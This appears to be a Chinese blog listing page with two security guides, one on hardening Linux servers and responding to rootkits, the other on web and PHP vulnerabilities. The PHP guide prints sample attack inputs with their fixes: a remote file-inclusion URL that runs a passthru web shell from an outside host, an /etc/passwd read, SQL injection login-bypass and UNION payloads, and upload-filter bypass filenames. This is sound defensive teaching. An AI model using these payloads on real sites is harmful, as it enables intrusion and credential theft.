为您推荐:
精华内容
最热下载
问答
  • 4星
    206.18MB goodxianping 2021-08-05 14:32:15
  • 5星
    14.01MB qq_27595745 2021-08-08 21:31:06
  • 692KB weixin_38732519 2020-04-19 11:30:40
  • 在系统安装完成后,默认会安装很多不必要的用户和用户组,如不需要某些用户或组就删除它,账户越多系统越不安全 可删除的用户:adm,lp,sync,shutdown,halt,news,uucp,operator,games,gopher等 可删除的组:...

    一、账户安全

    账户安全是系统安全的第一道屏障,也是系统安全的核心,在一定程度上可以提高服务器的安全级别

      1. 删除特殊的账户和账户组
        在系统安装完成后,默认会安装很多不必要的用户和用户组,如不需要某些用户或组就删除它,账户越多系统越不安全
        可删除的用户:adm,lp,sync,shutdown,halt,news,uucp,operator,games,gopher等
        可删除的组:adm,lp,news,uucp,games,dip,pppusers,popusers,slipusers等
      1. 关闭系统不需要的服务
        一般情况下,只要系统本身用不到的服务都认为是不必要的服务
        例如:某台Linux服务器用于www应用,那么除了httpd服务和系统运行是必须的服务外,其他服务都可以关闭。下面这些服务一般情况下是不需要的,可以选择关闭:
        anacron、auditd、autofs、avahi-daemon、avahi-dnsconfd、bluetooth、cpuspeed、firstboot、gpm、haldaemon、hidd、ip6tables、ipsec、isdn、lpd、mcstrans、messagebus、netfs、nfs、nfslock、nscd、pcscd portmap、readahead_early、restorecond、rpcgssd、rpcidmapd、rstatd、sendmail、setroubleshoot、yppasswdd ypserv
      1. 密码安全策略
        远程登录有2种认证方式:密码认证和密钥认证
        密码认证:传统的安全策略,对于密码的设置,常规为至少6个字符以上,要包含数字,字母,下划线,特殊符号等。设置一个相对复杂的密码对系统安全能起到一定的防护作用,但也面临一些其他问题(如密码暴力破解,密码泄露,密码丢失等),同时过于复杂对于运维工作也会造成一定的负担

    密钥认证:公钥存储在远程服务器上,密钥保存到本地,当需要登录系统时,通过本地密钥和远程服务器的公钥进行配对认证,认证成功就登录系统。这种方式避免了被暴力破解的危险。只要密钥不被黑客盗用,攻击者一般无法通过密钥认证的方式进入系统。

    Linux服务器一般通过SecureCRT,putty,Xshell之类的工具进行远程维护和管理,密钥认证方式的实现就是借助于SecureCRT软件个linux系统中的SSH服务实现的

      1. 合理使用su、sudo命令

    su命令:是一个切换用户的工具,经常用于将普通用户切换到超级用户下,当然也可以从超级用户切换到普通用户。为了保证服务器的安全,几乎所有服务器都禁止了超级用户直接登录系统,而是通过普通用户登录系统,然后再通过su命令切换到超级用户下,执行一些需要超级权限的工作。通过su命令能够给系统管理带来一定的方便,但是也存在不安全的因素,

    例如:系统有10个普通用户,每个用户都需要执行一些有超级权限的操作,就必须把超级用户的密码交给这10个普通用户,如果这10个用户都有超级权限,通过超级权限可以做任何事,那么会在一定程度上对系统的安全造成了威协。

    因此su命令在很多人都需要参与的系统管理中,并不是最好的选择,超级用户密码应该掌握在少数人手中,此时sudo命令就派上用场了。

    sudo命令:允许系统管理员分配给普通用户一些合理的“权利”,并且不需要普通用户知道超级用户密码,就能让他们执行一些只有超级用户或其他特许用户才能完成的任务。

    比如:系统服务重启、编辑系统配置文件等,通过这种方式不但能减少超级用户登录次数和管理时间,也提高了系统安全性。

    因此,sudo命令相对于权限无限制性的su来说,还是比较安全的,所以sudo也被称为受限制的su,另外sudo也是需要事先进行授权认证的,所以也被称为授权认证的su。

    sudo执行命令的流程是:
    将当前用户切换到超级用户下,或切换到指定的用户下,然后以超级用户或其指定切换到的用户身份执行命令,执行完成后,直接退回到当前用户,而这一切的完成要通过sudo的配置文件 /etc/sudoers来进行授权。

    sudo设计的宗旨是:
    赋予用户尽可能少的权限但仍允许它们完成自己的工作,这种设计兼顾了安全性和易用性,因此,强烈推荐通过sudo来管理系统账号的安全,只允许普通用户登录系统,如果这些用户需要特殊的权限,就通过配置/etc/sudoers来完成,这也是多用户系统下账号安全管理的基本方式。

      1. 删除系统登录欢迎信息
        系统的一些欢迎信息或版本信息,虽然能给系统管理者带来一定的方便,但是这些信息有时候可能被黑客利用,成为攻击服务器的帮凶,为了保证系统的安全,可以修改或删除某些系统文件,需要修改或删除的文件有4个,分别是:

    /etc/issue、/etc/issue.net、/etc/redhat-release和/etc/motd。

    /etc/issue和/etc/issue.net 文件都记录了操作系统的名称和版本号,当用户通过本地终端或本地虚拟控制台等登录系统时,/etc/issue的文件内容就会显示,当用户通过ssh或telnet等远程登录系统时,/etc/issue.net文件内容就会在登录后显示。在默认情况下/etc/issue.net文件的内容是不会在ssh登录后显示的,要显示这个信息可以修改/etc/ssh/sshd_config文件,在此文件中添加如下内容即可:

    Banner /etc/issue.net

    其实这些登录提示很明显泄漏了系统信息,为了安全起见,建议将此文件中的内容删除或修改。

    /etc/redhat-release文件也记录了操作系统的名称和版本号,为了安全起见,可以将此文件中的内容删除。

    /etc/motd文件是系统的公告信息。每次用户登录后,/etc/motd文件的内容就会显示在用户的终端。通过这个文件系统管理员可以发布一些软件或硬件的升级、系统维护等通告信息,但是此文件的最大作用就、是可以发布一些警告信息,当黑客登录系统后,会发现这些警告信息,进而产生一些震慑作用。看过国外的一个报道,黑客入侵了一个服务器,而这个服务器却给出了欢迎登录的信息,因此法院不做任何裁决。

    二、远程访问和认证安全

    1、远程登录取消telenet而采用SSH方式
    telnet是一种古老的远程登录认证服务,它在网络上用明文传送口令和数据,因此别有用心的人就会非常容易截获这些口令和数据。而且,telnet服务程序的安全验证方式也极其脆弱,攻击者可以轻松将虚假信息传送给服务器。现在远程登录基本抛弃了telnet这种方式,而取而代之的是通过SSH服务远程登录服务器。

    2、合理使用Shell历史命令记录功能
    在Linux下可通过history命令查看用户所有的历史操作记录,同时shell命令操作记录默认保存在用户目录下的.bash_history文件中,通过这个文件可以查询shell命令的执行历史,有助于运维人员进行系统审计和问题排查,同时,在服务器遭受黑客攻击后,也可以通过这个命令或文件查询黑客登录服务器所执行的历史命令操作,但是有时候黑客在入侵服务器后为了毁灭痕迹,可能会删除.bash_history文件,这就需要合理的保护或备份.bash_history文件。

    3、启用tcp_wrappers防火墙
    Tcp_Wrappers是一个用来分析TCP/IP封包的软件,类似的IP封包软件还有iptables。Linux默认都安装了Tcp_Wrappers。作为一个安全的系统,Linux本身有两层安全防火墙,通过IP过滤机制的iptables实现第一层防护。iptables防火墙通过直观地监视系统的运行状况,阻挡网络中的一些恶意攻击,保护整个系统正常运行,免遭攻击和破坏。如果通过了第一层防护,那么下一层防护就是tcp_wrappers了。通过Tcp_Wrappers可以实现对系统中提供的某些服务的开放与关闭、允许和禁止,从而更有效地保证系统安全运行。

    三、文件系统安全

    1、锁定系统重要文件

    系统运维人员有时候可能会遇到通过root用户都不能修改或者删除某个文件的情况,产生这种情况的大部分原因可能是这个文件被锁定了。在Linux下锁定文件的命令是chattr,通过这个命令可以修改ext2、ext3、ext4文件系统下文件属性,但是这个命令必须有超级用户root来执行。和这个命令对应的命令是lsattr,这个命令用来查询文件属性。

    对重要的文件进行加锁,虽然能够提高服务器的安全性,但是也会带来一些不便。

    例如:在软件的安装、升级时可能需要去掉有关目录和文件的immutable属性和append-only属性,同时,对日志文件设置了append-only属性,可能会使日志轮换(logrotate)无法进行。因此,在使用chattr命令前,需要结合服务器的应用环境来权衡是否需要设置immutable属性和append-only属性。

    另外,虽然通过chattr命令修改文件属性能够提高文件系统的安全性,但是它并不适合所有的目录。chattr命令不能保护/、/dev、/tmp、/var等目录。

    根目录不能有不可修改属性,因为如果根目录具有不可修改属性,那么系统根本无法工作:

    /dev在启动时,syslog需要删除并重新建立/dev/log套接字设备,如果设置了不可修改属性,那么可能出问题;

    /tmp目录会有很多应用程序和系统程序需要在这个目录下建立临时文件,也不能设置不可修改属性;

    2、文件权限检查和修改

    不正确的权限设置直接威胁着系统的安全,因此运维人员应该能及时发现这些不正确的权限设置,并立刻修正,防患于未然。下面列举几种查找系统不安全权限的方法。

    (1)查找系统中任何用户都有写权限的文件或目录

    查找文件:find / -type f -perm -2 -o -perm -20 |xargs ls -al
    查找目录:find / -type d -perm -2 -o -perm -20 |xargs ls –ld

    (2)查找系统中所有含“s”位的程序

    find / -type f -perm -4000 -o -perm -2000 -print | xargs ls –al

    含有“s”位权限的程序对系统安全威胁很大,通过查找系统中所有具有“s”位权限的程序,可以把某些不必要的“s”位程序去掉,这样可以防止用户滥用权限或提升权限的可能性。

    (3)检查系统中所有suid及sgid文件

    find / -user root -perm -2000 -print -exec md5sum {} ;
    find / -user root -perm -4000 -print -exec md5sum {} ;

    将检查的结果保存到文件中,可在以后的系统检查中作为参考。

    (4)检查系统中没有属主的文件

    find / -nouser -o –nogroup

    没有属主的孤儿文件比较危险,往往成为黑客利用的工具,因此找到这些文件后,要么删除掉,要么修改文件的属主,使其处于安全状态。

    3、/tmp、/var/tmp、/dev/shm安全设定

    在Linux系统中,主要有两个目录或分区用来存放临时文件,分别是 /tmp/var/tmp

    存储临时文件的目录或分区有个共同点就是所有用户可读写、可执行,这就为系统留下了安全隐患。攻击者可以将病毒或者木马脚本放到临时文件的目录下进行信息收集或伪装,严重影响服务器的安全,此时,如果修改临时目录的读写执行权限,还有可能影响系统上应用程序的正常运行,因此,如果要兼顾两者,就需要对这两个目录或分区就行特殊的设置。

    /dev/shm是Linux下的一个共享内存设备,在Linux启动的时候系统默认会加载/dev/shm,被加载的/dev/shm使用的是tmpfs文件系统,而tmpfs是一个内存文件系统,存储到tmpfs文件系统的数据会完全驻留在RAM中,这样通过/dev/shm就可以直接操控系统内存,这将非常危险,因此如何保证/dev/shm安全也至关重要。

    对于/tmp的安全设置,需要看/tmp是一个独立磁盘分区,还是一个根分区下的文件夹,如果/tmp是一个独立的磁盘分区,那么设置非常简单,修改/etc/fstab文件中/tmp分区对应的挂载属性,加上nosuid、noexec、nodev三个选项即可,修改后的/tmp分区挂载属性类似如下:

    LABEL=/tmp /tmp ext3 rw,nosuid,noexec,nodev 0 0

    其中,nosuid、noexec、nodev选项,表示不允许任何suid程序,并且在这个分区不能执行任何脚本等程序,并且不存在设备文件。

    [root@server ~]# mv /var/tmp/* /tmp
    [root@server ~]# ln -s /tmp /var/tmp

    如果/tmp是根目录下的一个目录,那么设置稍微复杂,可以通过创建一个loopback文件系统来利用Linux内核的loopback特性将文件系统挂载到/tmp下,然后在挂载时指定限制加载选项即可。一个简单的操作示例如下:

    [root@server ~]# dd if=/dev/zero of=/dev/tmpfs bs=1M count=10000
    [root@server ~]# mke2fs -j /dev/tmpfs
    [root@server ~]# cp -av /tmp /tmp.old
    [root@server ~]# mount -o loop,noexec,nosuid,rw /dev/tmpfs /tmp
    [root@server ~]# chmod 1777 /tmp
    [root@server ~]# mv -f /tmp.old/* /tmp/
    [root@server ~]# rm -rf /tmp.old

    最后,编辑/etc/fstab,添加如下内容,以便系统在启动时自动加载loopback文件系统:

    /dev/tmpfs /tmp ext3 loop,nosuid,noexec,rw 0 0

    四、Linux后门入侵检测工具

    rootkit是Linux平台下最常见的一种木马后门工具,它主要通过替换系统文件来达到入侵和和隐蔽的目的,这种木马比普通木马后门更加危险和隐蔽,普通的检测工具和检查手段很难发现这种木马。rootkit攻击能力极强,对系统的危害很大,它通过一套工具来建立后门和隐藏行迹,从而让攻击者保住权限,以使它在任何时候都可以使用root权限登录到系统。

    rootkit主要有两种类型:文件级别内核级别,下面分别进行简单介绍。

    文件级别的rootkit一般是通过程序漏洞或者系统漏洞进入系统后,通过修改系统的重要文件来达到隐藏自己的目的。在系统遭受rootkit攻击后,合法的文件被木马程序替代,变成了外壳程序,而其内部是隐藏着的后门程序。

    通常容易被rootkit替换的系统程序有login、ls、ps、ifconfig、du、find、netstat等,其中login程序是最经常被替换的,因为当访问Linux时,无论是通过本地登录还是远程登录,/bin/login程序都会运行,系统将通过/bin/login来收集并核对用户的账号和密码,而rootkit就是利用这个程序的特点,使用一个带有根权限后门密码的/bin/login来替换系统的/bin/login,这样攻击者通过输入设定好的密码就能轻松进入系统。

    此时,即使系统管理员修改root密码或者清除root密码,攻击者还是一样能通过root用户登录系统。攻击者通常在进入Linux系统后,会进行一系列的攻击动作,最常见的是安装嗅探器收集本机或者网络中其他服务器的重要数据。在默认情况下,Linux中也有一些系统文件会监控这些工具动作,例如ifconfig命令,所以,攻击者为了避免被发现,会想方设法替换其他系统文件,常见的就是ls、ps、ifconfig、du、find、netstat等。如果这些文件都被替换,那么在系统层面就很难发现rootkit已经在系统中运行了。

    这就是文件级别的rootkit,对系统维护很大,目前最有效的防御方法是定期对系统重要文件的完整性进行检查,如果发现文件被修改或者被替换,那么很可能系统已经遭受了rootkit入侵。检查件完整性的工具很多,常见的有Tripwire、 aide等,可以通过这些工具定期检查文件系统的完整性,以检测系统是否被rootkit入侵。

    内核级rootkit是比文件级rootkit更高级的一种入侵方式,它可以使攻击者获得对系统底层的完全控制权,此时攻击者可以修改系统内核,进而截获运行程序向内核提交的命令,并将其重定向到入侵者所选择的程序并运行此程序,也就是说,当用户要运行程序A时,被入侵者修改过的内核会假装执行A程序,而实际上却执行了程序B。

    内核级rootkit主要依附在内核上,它并不对系统文件做任何修改,因此一般的检测工具很难检测到它的存在,这样一旦系统内核被植入rootkit,攻击者就可以对系统为所欲为而不被发现。目前对于内核级的rootkit还没有很好的防御工具,因此,做好系统安全防范就非常重要,将系统维持在最小权限内工作,只要攻击者不能获取root权限,就无法在内核中植入rootkit。

    • 1、rootkit后门检测工具chkrootkit

    chkrootkit是一个Linux系统下查找并检测rootkit后门的工具,它的官方址: http://www.chkrootkit.org/。

    chkrootkit没有包含在官方的CentOS源中,因此要采取手动编译的方法来安装,不过这种安装方法也更加安全。

    chkrootkit的使用比较简单,直接执行chkrootkit命令即可自动开始检测系统。下面是某个系统的检测结果:

    [root@server chkrootkit]# /usr/local/chkrootkit/chkrootkit
    Checking ifconfig'... INFECTED Checkingls’… INFECTED
    Checking login'... INFECTED Checkingnetstat’… INFECTED
    Checking ps'... INFECTED Checkingtop’… INFECTED
    Checking sshd'... not infected Checkingsyslogd’… not tested
    从输出可以看出,此系统的ifconfig、ls、login、netstat、ps和top命令已经被感染。针对被感染rootkit的系统,最安全而有效的方法就是备份数据重新安装系统。

    chkrootkit在检查rootkit的过程中使用了部分系统命令,因此,如果服务器被黑客入侵,那么依赖的系统命令可能也已经被入侵者替换,此时chkrootkit的检测结果将变得完全不可信。为了避免chkrootkit的这个问题,可以在服务器对外开放前,事先将chkrootkit使用的系统命令进行备份,在需要的时候使用备份的原始系统命令让chkrootkit对rootkit进行检测。

    • 2、rootkit后门检测工具RKHunter

    RKHunter是一款专业的检测系统是否感染rootkit的工具,它通过执行一系列的脚本来确认服务器是否已经感染rootkit。在官方的资料中,RKHunter可以作的事情有:
    MD5校验测试,检测文件是否有改动

    检测rootkit使用的二进制和系统工具文件
    检测特洛伊木马程序的特征码
    检测常用程序的文件属性是否异常
    检测系统相关的测试
    检测隐藏文件
    检测可疑的核心模块LKM
    检测系统已启动的监听端口

    在Linux终端使用rkhunter来检测,最大的好处在于每项的检测结果都有不同的颜色显示,如果是绿色的表示没有问题,如果是红色的,那就要引起关注了。另外,在执行检测的过程中,在每个部分检测完成后,需要以Enter键来继续。如果要让程序自动运行,可以执行如下命令:

    [root@server ~]# /usr/local/bin/rkhunter --check --skip-keypress

    同时,如果想让检测程序每天定时运行,那么可以在/etc/crontab中加入如下内容:

    30 09 * * * root /usr/local/bin/rkhunter --check --cronjob

    这样,rkhunter检测程序就会在每天的9:30分运行一次。

    五、服务器遭受攻击后的处理过程

    安全总是相对的,再安全的服务器也有可能遭受到攻击。作为一个安全运维人员,要把握的原则是:尽量做好系统安全防护,修复所有已知的危险行为,同时,在系统遭受攻击后能够迅速有效地处理攻击行为,最大限度地降低攻击对系统产生的影响。

    • 1、处理服务器遭受攻击的一般思路

    系统遭受攻击并不可怕,可怕的是面对攻击束手无策,下面就详细介绍下在服务器遭受攻击后的一般处理思路。

    (1)切断网络
    所有的攻击都来自于网络,因此,在得知系统正遭受黑客的攻击后,首先要做的就是断开服务器的网络连接,这样除了能切断攻击源之外,也能保护服务器所在网络的其他主机。

    (2)查找攻击源
    可以通过分析系统日志或登录日志文件,查看可疑信息,同时也要查看系统都打开了哪些端口,运行哪些进程,并通过这些进程分析哪些是可疑的程序。这个过程要根据经验和综合判断能力进行追查和分析。下面会详细介绍这个过程的处理思路。

    (3)分析入侵原因和途径
    既然系统遭到入侵,那么原因是多方面的,可能是系统漏洞,也可能是程序漏洞,一定要查清楚是哪个原因导致的,并且还要查清楚遭到攻击的途径,找到攻击源,因为只有知道了遭受攻击的原因和途径,才能删除攻击源同时进行漏洞的修复。

    (4)备份用户数据
    在服务器遭受攻击后,需要立刻备份服务器上的用户数据,同时也要查看这些数据中是否隐藏着攻击源。如果攻击源在用户数据中,一定要彻底删除,然后将用户数据备份到一个安全的地方。

    (5)重新安装系统
    永远不要认为自己能彻底清除攻击源,因为没有人能比黑客更了解攻击程序,在服务器遭到攻击后,最安全也最简单的方法就是重新安装系统,因为大部分攻击程序都会依附在系统文件或者内核中,所以重新安装系统才能彻底清除攻击源。

    (6)修复程序或系统漏洞
    在发现系统漏洞或者应用程序漏洞后,首先要做的就是修复系统漏洞或者更改程序bug,因为只有将程序的漏洞修复完毕才能正式在服务器上运行。

    (7)恢复数据和连接网络
    将备份的数据重新复制到新安装的服务器上,然后开启服务,最后将服务器开启网络连接,对外提供服务。

    • 2、检查并锁定可疑用户

    当发现服务器遭受攻击后,首先要切断网络连接,但是在有些情况下,比如无法马上切断网络连接时,就必须登录系统查看是否有可疑用户,如果有可疑用户登录了系统,那么需要马上将这个用户锁定,然后中断此用户的远程连接。

    • 3、查看系统日志

    查看系统日志是查找攻击源最好的方法,可查的系统日志有 /var/log/messages、/var/log/secure等,这两个日志文件可以记录软件的运行状态以及远程用户的登录状态,还可以查看每个用户目录下的 .bash_history文件,特别是/root目录下的.bash_history文件,这个文件中记录着用户执行的所有历史命令。

    • 4、检查并关闭系统可疑进程

    检查可疑进程的命令很多,例如ps、top等,但是有时候只知道进程的名称无法得知路径,此时可以通过如下命令查看:
    首先通过pidof命令可以查找正在运行的进程PID,例如要查找sshd进程的PID,执行如下命令:

    [root@server ~]# pidof sshd
    13276 12942 4284

    然后进入内存目录,查看对应PID目录下exe文件的信息:

    [root@server ~]# ls -al /proc/ 13276/exe
    lrwxrwxrwx 1 root root 0 Oct 4 22:09 /proc/13276/exe -> /usr/sbin/sshd

    这样就找到了进程对应的完整执行路径。如果还有查看文件的句柄,可以查看如下目录:

    [root@server ~]# ls -al /proc/13276/fd

    通过这种方式基本可以找到任何进程的完整执行信息.

    • 5、检查文件系统的完好性

    检查文件属性是否发生变化是验证文件系统完好性最简单、最直接的方法,例如可以检查被入侵服务器上/bin/ls文件的大小是否与正常系统上此文件的大小相同,以验证文件是否被替换,但是这种方法比较低级。此时可以借助于Linux下rpm这个工具来完成验证,操作如下:

    [root@server ~]# rpm -Va
    …L… c /etc/pam.d/system-auth
    S.5… c /etc/security/limits.conf
    S.5…T c /etc/sysctl.conf
    S.5…T /etc/sgml/docbook-simple.cat
    S.5…T c /etc/login.defs
    S.5… c /etc/openldap/ldap.conf
    S.5…T c /etc/sudoers

    • 6、重新安装系统恢复数据

    很多情况下,被攻击过的系统已经不再可信任,因此,最好的方法是将服务器上面数据进行备份,然后重新安装系统,最后再恢复数据即可。

    数据恢复完成,马上对系统做上面介绍的安全加固策略,保证系统安全。

    展开全文
    tongzhuo1220 2020-02-15 10:48:34
  • 有关于WEB服务以及web应用的一些安全隐患总结资料。 1. 常见web安全隐患 1.1.完全信赖用户提交内容 开发人员决不能相信一个来自外部的数据。不管它来自用户提交表单,文件系统的文件或者环境变量,任何...

    Abstract

    有关于WEB服务以及web应用的一些安全隐患总结资料。

     

     

    1. 常见web安全隐患

     

    1.1.       完全信赖用户提交内容

      开发人员决不能相信一个来自外部的数据。不管它来自用户提交表单,文件系统的文件或者环境变量,任何数据都不能简单的想当然的采用。所以用户输入必须进行验证并将之格式化以保证安全。具体如下:

     

    ⑴ 始终对所有的用户输入执行验证,且验证必须在一个可靠的平台上进行,应当在应用的多个层上进行。

    ⑵ 除了输入、输出功能必需的数据之外,不要允许其他任何内容。

    ⑶ 了解用户合法数据的形态,拒绝所有其他形态数据。

    ⑷ 录入数据之前必需检查数据合法性。

    ⑸ 此条建立在所有安全基础之上。

     

    1.2.       在web目录中存放敏感数据

      任何和所有的敏感数据都应该存放在独立于需要使用数据的程序的文件中,并保存在一个不能通过浏览器访问的目录下。当需要使用敏感数据时,再通过include 或 require语句来包含到适当的PHP程序中。

      Web目录禁止存放任何数据文件,例如代码/运算结果数据/文档等以方便下载。

     

    1.3.       后门和调试隐患

      开发人员常常建立一些后门并依靠调试来排除应用程序的故障。在开发过程中这样做可以,但这些安全漏洞经常被留在一些放在Internet上的最终应用中。一些常见的后门使用户不用口令就可以登录或者访问允许直接进行应用配置的特殊URL。

     

    1.4.       越权漏洞

      权限验证机制必须保证在每一个需要身份验证的程序文件中生效,即使是难以猜测的位置和名字,并且对用户级别同样进行严格验证,确保用户不可以非验证状态或低权限状态访问到不属于自己的资源信息。

    1.5.       代码同步安全

      开发人员经常有直接从SVN代码库拷贝代码直接上线的习惯,而且多数此类操作都是在UNIX系统下完成,SVN代码库下包含.svn目录,UNIX是一个隐藏性质的目录,开发人员很容易忽略其存在性,该目录包含了关于工作拷贝目录的管理数据,会导致泄露源码、项目结构等敏感信息。

      Svn同步过程中可以使用代码语法检测功能进行第一次代码审计,具体实现请参考svn hook的pre-commit。

     

    1.6.       测试环境保护

      测试环境安全与线上安全同样重要,不要为了测试便利而忽略测试机的安全性,防止黑客由内到外的安全攻击事件。

     

    1.7.       检测机制层次隐患

      所有的检测机制必需放在服务端进行,不允许节省线上负载而采取本地js验证。因为攻击者可以重新构造表单请求,删除检测js代码,从而绕过验证。

     

      比如这段仅仅用本地js检查文件合法的方式是不允许的:
     

    function isAllowedAttach(sFile)

    {

             varsUploadImagesExt = ".jpg .gif .png";

             varsExt = sFile.match( /\.[^\.]*$/ ) ;

             if(sExt) {

              sExt = sExt[0].toLowerCase();

             }else {

    … …

          if(!isAllowedAttach(file)){

              show_error("上传图片格式不正确","upinfo");

              return false;

             }

     

    1.8.       数据来源安全

      我们程序员写出的程序多数都无法辨别请求是用户自行发起的还是被偷偷恶意发起的,所以我们的程序需要对来源进行验证,可以使用referer进行判断,或者在提交的变量组中加入token验证机制,使表单无法预测。

     

      另外还要小心flash的CSRF 的攻击,请开发人员谨慎设置根目录下crossdomain.Xml中的flash脚本允许互交域,还要灵活配合referer的判断防止flash socket攻击(关键参数:allowscriptaccess,allownetworking)。

     

      详细信息请google搜索:CSRF攻击原理,flash安全。

     

    2. PHP常见安全隐患
     

    2.1.       PHP编写安全隐患

    2.1.1.    变量覆盖

      看一个漏洞代码:

    $str = 'sina';

    foreach($_GETas $key => $value) {

                    $$key = $value;

            }

    echo $str;

     

      $str变量虽然经过初始化,但程序后面遍历了post变量提取key,GET提交“str=test”这样的变量就可以利用数组key覆盖$str变量。

     

    注:数组$key会带来很多安全隐患,具体原因会在下面内容陆续指出。

     

      除了疏忽导致的变量被覆盖外,如果对函数的了解不足,也将会造成变量覆盖问题,比如parse_str这个函数,如果其array变量不设置的话,则由该函数设置的变量将覆盖已有变量,比如:

     

    $str = 'sina';                    

    parse_str($_SERVER['QUERY_STRING']);

    echo $sina;

     

      提交php?str=hacker,str变量就会被覆盖为hacker,类似隐患还存在于import_request_variables,extract等。

     

    2.1.2.    安全机制滥用

      有些开发人员会为了安全而最大化使用安全处理,比如开启魔法引号,或者将单引号、双引号等复数化,但如果安全机制配合不当,反而会制造出漏洞。

     

      比如代码中对某变量进行了单引号复数化处理,

    $id =str_replace("' "," ' ' ",$id);

     

      这是处理数据截断很好的办法,但如果这个时候PHP的魔法引号恰巧开启了,那单引号进来后变成了"\'"这样,但是有经过了复数化,结果变成"\''",第一个单引号失效后第二个仍然有效,可以对数据进行截断。

     

    2.1.3.    系统调用

      系统调用漏洞危害是最为严重的一类,因为直接就可以调用服务器上的上层命令解释器对服务器进行控制操作,但是此类漏洞也是出现最少的,因为大多数的web服务器互交会很少用到此类函数,除非是开发人员走捷径,或者是需要直接调用系统程序。

     

      问题发生是因为用户的变量直接或间接的传递并污染到了exec类函数。

     

      system("mkdir {$filedir} -p");

      exec($cmd,$status_array,$status);

     

      使用系统调用类函数就已经增加了程序的风险,如果传递的参数中含有用户可控的变量会将风险再次升级。

     

    2.1.4.    文件包含

       win版本的require和include函数是不支持HTTP和FTP远程文件包含的,而UNIX版本默认都是支持远程包含文件。 require和include不管你是什么扩展名的,把你包含进来就作为程序的一部分来执行。我们在写程序的时候为了程序的模块化,以及程序的可移植性,不可避免的用到很多require或include函数,而且有时用变量作为参数,比如:include("$something"); 如果这时用户能控制$something参数,而这个参数又没有过滤,那就麻烦了。

     

    首先可以看任何web用户有读权限的文件,假设这个程序叫http://<--domain-->/test.php,这样我们就可以用如下 url: http://--domain--/test.php?something=/etc/passwd 看到/etc/passwd文件。

     

    另外可以利用其远程文件包含的功能执行命令。比如在test.com建立一个文件test.php,内容是: <?passthru($cmd)?>,那么就可以用如下的url:

    http://--domain--/test.php?something=http://test.com/test.php?cmd=uname
    这种方式运行任意的命令。

     

       所以对于include, require函数的使用一定要小心,特别是以包含的文件以参数指定这种方式,参数绝对不能让用户来控制。还有通过修改php.ini文件去掉远程文件包含这个功能。这个在php-4.0.3以前用disable-url-fopen-wrapper 在以后的版本用allow_url_fopen= off来关闭。

     

    2.1.5.    文件上传

      我们这边的架构由于有静态池的缘故,文件统一上传到指定服务器群,并且不支持服务器动态脚本解析支持,所以从一定程度上杜绝了上传可执行的PHP代码进行服务器攻击的隐患。

     

      但是攻击者如果能上传exe,html,js文件的话一样可以利用新浪的稳定服务支持进行其他方向的攻击,比如网页木马,跨站脚本攻击等,而且目前也并不能说是100%的将用户资源上传都转交给静态池存储,所以文件上传对于我们开发人员来说仍然是一个非常值得注意的地方。

     

    文件上传漏洞主要问题出在几个方面:
    (1) 文件后缀

      如果判断上传文件的后缀,开发人员不要检测php后缀这样简单了是,还要注意php5,PhP(大小写),php.(后面有一个.),php.rar(apache MIME-Type解析问题),php%00.jpg(NULL子元截断),1.jpg/a.php(a.php不存在,fastcgi解析问题)等。

    由此可见,后缀判断是一种非常不安全的检测手段。

      变成现在这个样子,我们不妨把它反过来实施,将黑名单变为白名单,只允许.jpg,.png,.gif这样的图片文件(文件后缀要获取准确),然后对文件名进行随机化处理(这一点很重要),这样文件名不可预测,而且无法进行数据污染。

      最后白名单机制还需要对NULL子元进行处理,不管是转义还是过滤,总之不能让其干扰程序的判断,这样白名单机制就变得非常可靠了(PHP 5.3.4开始解决了一个老大难问题,就是NULL子元截断的隐患终于在这个版本进行了彻底修复)。

     

    (2) Content-Type

      此类方法看似上升了一个高度,文件上传的时候检测Content-Type是否为image/pjpeg合法图片,或者是否为text/plain文本文件非法类型,但是我们从一开始就说了,不要相信任何的输入,Content-Type由本地生成提交就已经决定了它的命运,黑客在客户端拦截合法的HTTP请求就可以轻易修改这里欺骗服务器,让程序认为是合法文件类型,达到攻击目的,所以此类方法不推荐。

     

    (3)文件头检测

      有些开发人员对上传的文件类型进行更严格的检测,但是此类检查手段是对文件的头进行判断,比如我们打开一个gif文件,会看到类似"GIF89a"这样的头信息,那么攻击者只需在一个文本文件的第一行写入头信息就可以欺骗成功。

      这种检测文件类型的手段是比较推荐的,但是需要检测机制的强大,比如获取头信息外获取一些其他图片格式信息,大小,缩放等等,这样检测机制就会变的非常严谨有效。

     

      文件上传的问题不单独是开发上的,服务器上还要做到"可写的不可执行,可执行的不可写" 。

     

    2.1.6.    文件操作

      文件操作函数,比如fopen,fwrite,file_get_contents等,安全风险与文件包含类似,可以造成任意文件读取的风险。

     

      但如果此刻正好是个write操作,变量被污染后很可能就会直接向服务器写入PHP文件,所以文件要怎么写,写到哪里是开发人员要非常注意的。

     

      另外值得注意的就是网络类函数,比如CURL, 它是可以调用 file:// 协议进行本地文件读取,甚至可以使用ftp:// 或telnet:// 协议等进行一些绕过ACL的非法访问,所以使用CURL类函数请求网络资源时请检查其协议。

     

    2.1.7.    数据库操作
     Sql语句作为标准的数据库查询语句,在各种编程环境中得到了广泛的应用。LAMP是我们这边常见的组合,MYSQL的互交成为了我们程序最重要的数据处理方式。
     

      SQL变量的污染会造成我们经常提到的SQL注入攻击,导致黑客提交恶意数据进入到SQL执行的语句结构,污染其中可控的变量,造成最终的SQL执行流程被改变,看一段虽然古老,但比较经典的SQL注射代码样例:

    $Sql="Select* from manager where username='" . $user . "' and password ='" .$pass . "'";


      其中username和password是存放用户输入的用户名和口令,通过执行上述语句来验证用户和密码是否合法有效。但是通过分析可以发现,上述语句却存在着致命的漏洞。当我们在用户名称中输入下面的字符串时:a' or 'a'='a,然后口令随便输入,我们设为aaaa。变量代换后,sql语句就变成了下面的字符串:
    $Sql="Select * from manager where username='a' or 'a'='a' and password='123456' ";

      我们都知道select语句在判断查询条件时,遇到或(or)操作就会忽略下面的与(and)操作,而在上面的语句中'a'='a'的值永远为true,这意味着无论在密码中输入什么值,均能通过上述的密码验证。这个问题的解决很简单,方法也很多,最常用的是在执行验证之前,对用户输入的用户和密码进行合法性判断,不允许输入单引号、等号等特殊字符。

      以上例子虽然很古老,但还是能直接点明SQL注射的精髓,此类攻击不仅仅能改变逻辑流程,它的本质就是污染SQL流程,所以自然而然的还是可以操作数据库内容的,比如还是上面那段代码,密码我们提交:
    ' and 1=2 union select 1,password,3 from admin where id = 1/*


    语句变为:

    $Sql="Select* from manager where username='' and 1=2 union select 1,password,3 from adminwhere id = 1/*' and password ='123456' ";

     

      因为mysql自身不支持多句执行,所以多数要用到联合查询,如果是mysql4.x时代,基本就只能靠经典注射来逐位猜解。

     

